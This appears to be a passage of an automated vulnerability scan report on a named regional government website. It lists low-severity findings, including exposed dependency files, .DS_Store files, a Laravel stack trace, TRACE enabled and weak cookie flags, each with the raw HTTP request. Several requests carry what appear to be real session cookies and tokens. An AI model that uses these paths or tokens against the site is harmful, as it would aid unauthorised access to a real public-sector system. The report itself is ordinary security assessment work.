| Description | mod_negotiation is an Apache module responsible for selecting the document that best matches the clients capabilities, from one of several available documents. If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. This behaviour can help an attacker to learn more about his target, for example, generate a list of base names, generate a list of interesting extensions, look for backup files and so on. |

| | |
|---|---|
| Recommendations | Disable the MultiViews directive from Apache's configuration file and restart Apache. You can disable MultiViews by creating a **.htaccess** file containing the following line:<br><br>`Options -Multiviews` |
| Alert variants | |
| Details | Pattern found:<br><br>`<title>406 Not Acceptable</title>` |

```
GET /index HTTP/1.1

Accept: qoorlfnr/jffm

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **Web Server** | |
| **Alert group** | **Clickjacking: X-Frame-Options header** |
| Severity | Low |
| Description | Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.<br><br>The server did not return an **X-Frame-Options** header with the value DENY or SAMEORIGIN, which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into untrusted sites. |
| Recommendations | Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header. |
| Alert variants | |

| | |
|---|---|
| Details | Paths without secure XFO header:<br>• http://sibkd.semarangkab.go.id/<br>• http://sibkd.semarangkab.go.id/index<br>• http://sibkd.semarangkab.go.id/phpinfo.php<br>• http://sibkd.semarangkab.go.id/index.php<br>• http://sibkd.semarangkab.go.id/portal/<br>• http://sibkd.semarangkab.go.id/sib/<br>• http://sibkd.semarangkab.go.id/sib/module/login.php<br>• http://sibkd.semarangkab.go.id/simpeg/<br>• http://sibkd.semarangkab.go.id/skp/<br>• http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/fonts<br>• http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/<br>• http://sibkd.semarangkab.go.id/download/<br>• http://sibkd.semarangkab.go.id/profile/<br>• http://sibkd.semarangkab.go.id/report/<br>• http://sibkd.semarangkab.go.id/services/<br>• http://sibkd.semarangkab.go.id/icons/<br>• http://sibkd.semarangkab.go.id/report/Badan%20Kepegawaian%20Daerah/<br>• http://sibkd.semarangkab.go.id/services/eksternal/<br>• http://sibkd.semarangkab.go.id/icons/small/<br>• http://sibkd.semarangkab.go.id/report/auto_backup.html<br>• http://sibkd.semarangkab.go.id/download/index.php |

```
GET / HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **/skp/vendor/** | |
|---|---|
| **Alert group** | **Composer installed.json publicly accessible** |
| Severity | Low |
| Description | A **installed.json** file was discovered. Composer is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you. After installing the dependencies, Composer stores the list of them in a special file for internal purposes.<br><br>As the file is publicly accessible, it leads to disclosure of information about components used by the web application. |
| Recommendations | Restrict access to vendors directory |
| Alert variants | |
| Details | |

```
GET /skp/vendor/composer/installed.json HTTP/1.1

Cookie: XSRF-
TOKEN=eyJpdiI6IjB0cEhtdWttSjg5V3dhdnlkam9CM1E9PSIsInZhbHVlIjoicklsSFdFQXM3ZSt0QWhwTTBxZlF
LN3l6alpMXC9HWWRVMDA1OFA3RzRqUGVodVF1WXJtN2VrcGU4TW1LaUtyWTFPMitOQUpxYmp3bmdwZDBSejRZVlFR
PT0iLCJtYWMiOiI2OTQ5YjA0Y2EzNzg4MGMxM2NmZDJhZTczY2I1OGVkYWY0MDYyMDYzNGI3N2M0ZmExYjM4NmIzZ
DBkNTJiMDQ5In0%3D;
bkdblora2016_session_=eyJpdiI6ImhaeWJmcXBZXC9TbkNTSFVpczhEaWtRPT0iLCJ2YWx1ZSI6Ik52Skp6aXV
UNHV4SFArUFlhMjBqT2NTUGlwVzFia01mck1CSHhFUURSWmlLWTY3bU4zdXp2YUMrUWJCSFlTa2t2MjVsVzVxeURJ
YWY2Uk14aDJaVTdBPT0iLCJtYWMiOiIwZDZiNTkzZTc1OGM0ZjRhYzViNGQ3OWVjY2I2YjdlZWVkODE3ZjU0ODhiM
2VlYjI4N2VmYTZkOGJkNmQzYzc5In0%3D;
laravel_session=eyJpdiI6ImdjWlpRaUJBRkkwYlgwNjg1YlNJcUNoZFBXWG56WnlXbVQ3NCtlcjZDWHc9Iiwid
mFsdWUiOiJFcTBQSENnY1ArXC9NcjFPNHNncXZyZHRcL2thcTA1UFJ5V0lIaXBZU0NocWhlVW1RU0txM2d1ZUlIcU
xiTG1sYnd0QVNVS1QxWVhVVHRuWEV6VGtvdkR3PT0iLCJtYWMiOiI0MWYwYmYxZTBhMjU0ZDI1YTc2NTg3ZGM0ZGQ
1NDYzNDEzNThjYjM2YWZmNmY0ZTFmYzBlNjgxZGJiNGM2MzJhIn0%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Cookies with missing, inconsistent or contradictory properties (verified)** |
| Severity | Low |
| Description | At least one of the following cookies properties causes the cookie to be invalid or incompatible with either a different property of the same cookie, of with the environment the cookie is being used in. Although this is not a vulnerability in itself, it will likely lead to unexpected behavior by the application, which in turn may cause secondary security issues. |
| Recommendations | Ensure that the cookies configuration complies with the applicable standards. |
| Alert variants | |

| | |
|---|---|
| Details | List of cookies with missing, inconsistent or contradictory properties:<br><br>• http://sibkd.semarangkab.go.id/simpeg/<br><br>Cookie was set with:<br><br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IlNqZ2V0dUF1aWs3OXJUK0o0TGx3a0E9P`<br><br>This cookie has the following issues:<br><br>`- Cookie without SameSite attribute.`<br>`When cookies lack the SameSite attribute, Web browsers may apply`<br><br>• http://sibkd.semarangkab.go.id/simpeg/<br><br>Cookie was set with:<br><br>`Set-Cookie: bkdblora2016_session_=eyJpdiI6IjRpSDY0MVg1cUpcL1wvT2`<br><br>This cookie has the following issues:<br><br>`- Cookie without SameSite attribute.`<br>`When cookies lack the SameSite attribute, Web browsers may apply`<br><br>• http://sibkd.semarangkab.go.id/skp/<br><br>Cookie was set with:<br><br>`Set-Cookie: laravel_session=eyJpdiI6IjM4cEZxY3l4REdZWWZwZ3dkNXVZ`<br><br>This cookie has the following issues:<br><br>`- Cookie without SameSite attribute.`<br>`When cookies lack the SameSite attribute, Web browsers may apply`<br><br>• http://sibkd.semarangkab.go.id/simpeg/login<br><br>Cookie was set with:<br><br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IkhYMDlzdWNTN0J6TVF5UWM0YmRSeVE9P`<br><br>This cookie has the following issues:<br><br>`- Cookie without SameSite attribute.`<br>`When cookies lack the SameSite attribute, Web browsers may apply`<br><br>• http://sibkd.semarangkab.go.id/simpeg/login<br><br>Cookie was set with:<br><br>`Set-Cookie: bkdblora2016_session_=eyJpdiI6ImVLV2psWmw5aUduaEVqN2`<br><br>This cookie has the following issues: |

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/login

  Cookie was set with:

```
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlRQQjBDTDFvZ1VxVnhTY1VFZjZFeWc9P
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/login

  Cookie was set with:

```
Set-Cookie: bkdblora2016_session_=eyJpdiI6Ik90VkE5MlE0SExVbXpCVj
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/skp/login

  Cookie was set with:

```
Set-Cookie: laravel_session=eyJpdiI6IkkyS05CUG1TKzZDNUhGcXZkRVFh
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/skp/login

  Cookie was set with:

```
Set-Cookie: laravel_session=eyJpdiI6InlHSmNuQUhJejgzdU5VMmF1YmJX
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/login

  Cookie was set with:

```
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9P
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/login

  Cookie was set with:

```
Set-Cookie: bkdblora2016_session_=eyJpdiI6IlYwaFVsRHkrdzlsdjhxVF
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/sib/pages/index.php

  Cookie was set with:

```
Set-Cookie: PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4; path=/
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/skp/login

  Cookie was set with:

```
Set-Cookie: laravel_session=eyJpdiI6IlExaUNPRSs5bGttNHZrNDNJWDM2
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/skp/login

  Cookie was set with:

```
Set-Cookie: laravel_session=eyJpdiI6IlR2bkV6UHF1bkFBYzFGcDlCa1lj
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/login

  Cookie was set with:

```
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdENkdrXC9NaEVZXC9hY2ZpZzVkc08zZ
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/login

  Cookie was set with:

```
Set-Cookie: bkdblora2016_session_=eyJpdiI6Indhc0E5Njh5MzQ4bVlNdm
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/auth/login

  Cookie was set with:

```
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkI4c3JvRThnNnA3VGxrVER3b3Fvcmc9P
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

- http://sibkd.semarangkab.go.id/simpeg/auth/login

  Cookie was set with:

```
Set-Cookie: bkdblora2016_session_=eyJpdiI6IkUxZ2duN2hCQTh1TEJkZE
```

  This cookie has the following issues:

```
 - Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply
```

```
GET /simpeg/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/simpeg

Cookie: XSRF-
TOKEN=eyJpdiI6IkZpV3Q2QnhUNFZIeENhNGZSd0VGK2c9PSIsInZhbHVlIjoiVk43WGdiODlXZVRZU1c2XC9hVTV
hckxqaG1vM3BubTVVZml3N041cGFRdjVTd0xUZEZtMzJNZHZPR1duQVwvVk1lMUhJVDQrK2xaUHZ0RHlFMEVJZGdM
dz09IiwibWFjIjoiZmY4NDA5YTQyNzU4ZmM1MzgzZWYzZmQ5MjAzMzZkMTM0ODk4ZDcyMDEwYjk3NTNiMzZmZDNhO
ThlMDVhMDZhNCJ9;
bkdblora2016_session_=eyJpdiI6IkhTcDZcL1R1dUQ2R3pUZEFWeU9oeEJnPT0iLCJ2YWx1ZSI6IlUxWFRiQmU
xTWp2Y3RobDB5UmRoU21TbktRcU8yTFwveFYxQ21xU1dRaXMzXC9yNUxPT0N3cUZacllqNTN5cGZkRSsxRCszZWFm
RDN3MzY4WHI3eElRRmc9PSIsIm1hYyI6IjA3OTMwODE1ZjEwOGNjMzA2NDZmY2ZkZTBkM2I5ZmUxY2VjNWRiMzFhM
DQ1NmI3YjY1ZDQxMDAxZDVkYjY4NzQifQ%3D%3D

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Cookies without HttpOnly flag set (verified)** |
| Severity | Low |
| Description | One or more cookies don't have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies. |
| Recommendations | If possible, you should set the HttpOnly flag for these cookies. |
| Alert variants | |

| | |
|---|---|
| Details | Cookies without HttpOnly flag set:<br>• http://sibkd.semarangkab.go.id/simpeg/<br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IlNqZ2V0dUF1aWs3OXJUK0o0TGx3a0E9P`<br>• http://sibkd.semarangkab.go.id/simpeg/login<br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IkhYMDlzdWNTN0J6TVF5UWM0YmRSeVE9P`<br>• http://sibkd.semarangkab.go.id/simpeg/login<br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IlRQQjBDTDFvZ1VxVnhTY1VFZjZFeWc9P`<br>• http://sibkd.semarangkab.go.id/simpeg/login<br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9P`<br>• http://sibkd.semarangkab.go.id/sib/pages/index.php<br>`Set-Cookie: PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4; path=/`<br>• http://sibkd.semarangkab.go.id/simpeg/login<br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdENkdrXC9NaEVZXC9hY2ZpZzVkc08zZ`<br>• http://sibkd.semarangkab.go.id/simpeg/auth/login<br>`Set-Cookie: XSRF-TOKEN=eyJpdiI6IkI4c3JvRThnNnA3VGxrVER3b3Fvcmc9P` |

```
GET /simpeg/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/simpeg

Cookie: XSRF-
TOKEN=eyJpdiI6IkZpV3Q2QnhUNFZIeENhNGZSd0VGK2c9PSIsInZhbHVlIjoiVk43WGdiODlXZVRZU1c2XC9hVTV
hckxqaG1vM3BubTVVZml3N041cGFRdjVTd0xUZEZtMzJNZHZPR1duQVwvVk1lMUhJVDQrK2xaUHZ0RHlFMEVJZGdM
dz09IiwibWFjIjoiZmY4NDA5YTQyNzU4ZmM1MzgzZWYzZmQ5MjAzMzZkMTM0ODk4ZDcyMDEwYjk3NTNiMzZmZDNhO
ThlMDVhMDZhNCJ9;
bkdblora2016_session_=eyJpdiI6IkhTcDZcL1R1dUQ2R3pUZEFWeU9oeEJnPT0iLCJ2YWx1ZSI6IlUxWFRiQmU
xTWp2Y3RobDB5UmRoU21TbktRcU8yTFwveFYxQ21xU1dRaXMzXC9yNUxPT0N3cUZacllqNTN5cGZkRSsxRCszZWFm
RDN3MzY4WHI3eElRRmc9PSIsIm1hYyI6IjA3OTMwODE1ZjEwOGNjMzA2NDZmY2ZkZTBkM2I5ZmUxY2VjNWRiMzFhM
DQ1NmI3YjY1ZDQxMDAxZDVkYjY4NzQifQ%3D%3D

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Documentation files** |
| Severity | Low |
| Description | One or more documentation files (e.g. readme.txt, changelog.txt, ...) were found. The information contained in these files could help an attacker identify the web application you are using and sometimes the version of the application. It's recommended to remove these files from production systems. |
| Recommendations | Remove or restrict access to all documentation file acessible from internet. |
| Alert variants | |

| | |
|---|---|
| Details | Documentation files:<br><br>• http://sibkd.semarangkab.go.id/portal/**README.md**<br>File contents (first 100 characters):<br><br>`# [Start Bootstrap - Heroic Features](https://startbootstrap.com`<br><br>• http://sibkd.semarangkab.go.id/sib/**README.md**<br>File contents (first 100 characters):<br><br>`# Sufee HTML5 Admin Dashboard Template`<br>`**Sufee** is a responsive Bootstrap 4 Admin Template. It prov ..`<br><br>• http://sibkd.semarangkab.go.id/simpeg/**readme.md**<br>File contents (first 100 characters):<br><br>`## Laravel PHP Framework`<br><br>`[![Build Status](https://travis-ci.org/laravel/framework.svg)](h`<br><br>• http://sibkd.semarangkab.go.id/skp/**readme.md**<br>File contents (first 100 characters):<br><br>`## Laravel PHP Framework`<br><br>`[![Latest Stable Version](https://poser.pugx.org/laravel/framewo` |

```
GET /portal/README.md HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Possible sensitive directories** |
| Severity | Low |
| Description | One or more possibly sensitive directories were found. These resources are not directly linked from the website. This check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target. |
| Recommendations | Restrict access to these directories or remove them from the website. |
| Alert variants | |
| Details | Possible sensitive directories:<br><br>• http://sibkd.semarangkab.go.id/**services**<br>• http://sibkd.semarangkab.go.id/simpeg/**tests**<br>• http://sibkd.semarangkab.go.id/simpeg/packages/**upload** |

```
GET /services/ HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Possible sensitive files** |
| Severity | Low |
| Description | A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target. |
| Recommendations | Restrict access to this file or remove it from the website. |
| Alert variants | |
| Details | Possible sensitive files:<br>• http://sibkd.semarangkab.go.id/simpeg/**.DS_Store**<br>• http://sibkd.semarangkab.go.id/skp/packages/**.DS_Store**<br>• http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/**.DS_Store**<br>• http://sibkd.semarangkab.go.id/skp/**.DS_Store**<br>• http://sibkd.semarangkab.go.id/skp/modules/**.DS_Store**<br>• http://sibkd.semarangkab.go.id/skp/packages/upload/**.DS_Store** |

```
GET /simpeg/.DS_Store HTTP/1.1

Accept: kujpodyi/haus

Cookie: XSRF-
TOKEN=eyJpdiI6IklPMU82WkpmVHpkUTFldkNrMlI5WUE9PSIsInZhbHVlIjoic252YWU5d0ptU3dPVWNGZTc1TE5
4QzZMXC9sb0U2Q25halk3YklnU0dLcisrZmMrazRaRkZTaVVqMTlDY0tpVENTQk9ialBnbk82RVhrd01jRyt5RDZB
PT0iLCJtYWMiOiJkYWEzY2VjNmJlNWQ2MTA5NjVlN2JiMDNlYzViMDhmZmYzMjk3NzBkNDZhMjY2NTg0ODMwMjdhN
2M1YTE2NDJkIn0%3D;
bkdblora2016_session_=eyJpdiI6IkdzMVo0bUxESkhYbXVQUGUyS3k5MFE9PSIsInZhbHVlIjoicDZkd1FnaUk
5TjQ4YjNtS1h1M0p2UjlmbWlmSTlGUDR4NVFpQndRRmFwcitZSnl0WlwvcEFJQUorZmFWV2ttWEhOTDhWN1VYdlpN
QnVVeXptVG54Q093PT0iLCJtYWMiOiI5MjA4NjZkOTY4MjRiOWEyOWMwN2Q1MTIyMzI4OTQ5YmYwNzVjMDAxMDBmY
jFhODI3ZTEyNTRmOWEwYTE1ODliIn0%3D;
laravel_session=eyJpdiI6IlwvSzZ4a3pQVlJEVkV3bmNJeGFhZXdKanM5bkRlSzJXVW9vZXhIdHVQV0c4PSIsI
nZhbHVlIjoiNVlqaVBoUG1Jb2dENitcL0IrbWhsOEh0UUhQZW1hSG9neWQwYmJpdzJweGcya3lVM2lkaENOS2YwS1
Z1Q3Q3VW1xN1VpaXdORjZEYVdNaTFFODZcL0hUQT09IiwibWFjIjoiNzk2OGRhMjNlNmIwYmNhZDczNDA3OTU0OWF
kNGQ1OTQ2YTk3MTk5OGYzZTQxMWU1YWRiNGQwMDBjNWRhN2EyOSJ9

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Stack Trace Disclosure (Laravel)** |
| Severity | Low |
| Description | One or more stack traces were identified. The web application has generated an error message that includes sensitive information about its environment, users, or associated data.<br><br>The stack trace can disclose potentially sensitive information such as: physical file paths of relevant files, source code fragments, version information of various packages, database information, error messages, ... |
| Recommendations | It's recommended to handle exceptions internally and do not display errors containing potentially sensitive information to a user. |
| Alert variants | |
| Details | Pages with stack traces:<br><br>• http://sibkd.semarangkab.go.id/simpeg/epersonal/biodata/print/biodata **<h1>Whoops, looks like something went wrong.</h1> <h2 class="block_exception clear_fix">** |

```
POST /simpeg/epersonal/biodata/print/biodata HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/profile/

Cookie: XSRF-
TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9PSIsInZhbHVlIjoidFdhWlB0cGQ0NTFkc3JmUHNTSU8
1K01JN0pLc2JObzFDQ3JmY1pHZEhrbVwvVnpwaGRvMW1WOUZnaHZEYXhrYlVVOFlKTldwUGt1Q1VLSXFKeDZ0Qk9n
PT0iLCJtYWMiOiJiMWZlZmM2OTYwY2Q3MjJjMjgzOTdiY2FlMWNjMWM2Y2FhZDczZTMzMTliNjUxMDg3M2MwNGY4O
Dk0MWM0YjNiIn0%3D;
bkdblora2016_session_=eyJpdiI6IlYwaFVsRHkrdzlsdjhxVFo1QTZoSHc9PSIsInZhbHVlIjoiZ0tHMlZTMTB
tU3FnN1BMbXlFQVwvckg4Z2hWU0ErVm9ZbzV5ZEtINTVDSjNRQWhLM05WbFJORUduQ2JRRXAxTlMrbGtkQThHV0VW
SENSdmpWcEVMNmpBPT0iLCJtYWMiOiIwMDZiYTY2NzM3ZmVmZjJiMjQ1ODEwM2UyYTM4ZjRmMGM5ZmVlMjE5ZDcwY
jNiOTdkYTRmMzFlMGJiYWQyZjRjIn0%3D;
laravel_session=eyJpdiI6Ijk0Zm5pMCttRmtTdU1tV0tRc09OXC80enJYUFRJM2FKTDNpYjBUT2Vzam5jPSIsI
nZhbHVlIjoiR0VXYm4wUUVCUFBtXC80bW9rdUh5STJSbjhSVVJCdmZsbElQTDZrRGRscllZRUFvQWFsT1lEQkI2eF
oxVjF2QlJXZkNZUlVlblRSTWYwNnNPTFlcL0VXQT09IiwibWFjIjoiNjJjMWVkNmYwMTA0ODFiNTg4ZjA2MzIyMDM
3MjQyN2FiYjIzZGNhZjNjNGNkMDkxYmE1Zjc5MzM2MmI3MTA4YSJ9

Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw

Content-Length: 1558

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive



------------YWJkMTQzNDcw

Content-Disposition: form-data; name="_token"



jkuwG8okGX6JJmp0la8FOU7zbsuNvmH4cLGT5d8u

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="nip"



1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p0"



1

------------YWJkMTQzNDcw
```

```
Content-Disposition: form-data; name="p1"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p10"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p11"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p12"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p13"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p14"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p15"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p16"


1
```

```
------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p17"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p2"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p3"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p4"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p5"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p6"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p7"


1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p8"
```

```
1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="p9"



1

------------YWJkMTQzNDcw--
```

| **Web Server** | |
|---|---|
| **Alert group** | **TRACE method is enabled** |
| Severity | Low |
| Description | HTTP TRACE method is enabled on this web server. In the presence of other cross-domain vulnerabilities in web browsers, sensitive header information could be read from any domains that support the HTTP TRACE method. |
| Recommendations | Disable TRACE Method on the web server. |
| Alert variants | |
| Details | |

```
TRACE /WBUjwfq2BF HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Content Security Policy (CSP) not implemented** |
| Severity | Informational |

| | |
|---|---|
| Description | Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.<br><br>Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:<br><br>`Content-Security-Policy:`<br>`default-src 'self';`<br>`script-src 'self' https://code.jquery.com;`<br><br>It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application. |
| Recommendations | It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page. |
| Alert variants | |

| | |
|---|---|
| Details | Paths without CSP header:<br>• http://sibkd.semarangkab.go.id/<br>• http://sibkd.semarangkab.go.id/index<br>• http://sibkd.semarangkab.go.id/phpinfo.php<br>• http://sibkd.semarangkab.go.id/index.php<br>• http://sibkd.semarangkab.go.id/portal/<br>• http://sibkd.semarangkab.go.id/sib/<br>• http://sibkd.semarangkab.go.id/simpeg/<br>• http://sibkd.semarangkab.go.id/skp/<br>• http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/fonts<br>• http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/<br>• http://sibkd.semarangkab.go.id/download/<br>• http://sibkd.semarangkab.go.id/profile/<br>• http://sibkd.semarangkab.go.id/report/<br>• http://sibkd.semarangkab.go.id/services/<br>• http://sibkd.semarangkab.go.id/icons/<br>• http://sibkd.semarangkab.go.id/report/Badan%20Kepegawaian%20Daerah/<br>• http://sibkd.semarangkab.go.id/services/eksternal/<br>• http://sibkd.semarangkab.go.id/icons/small/<br>• http://sibkd.semarangkab.go.id/report/auto_backup.html<br>• http://sibkd.semarangkab.go.id/download/index.php<br>• http://sibkd.semarangkab.go.id/services/internal/ |

```
GET / HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
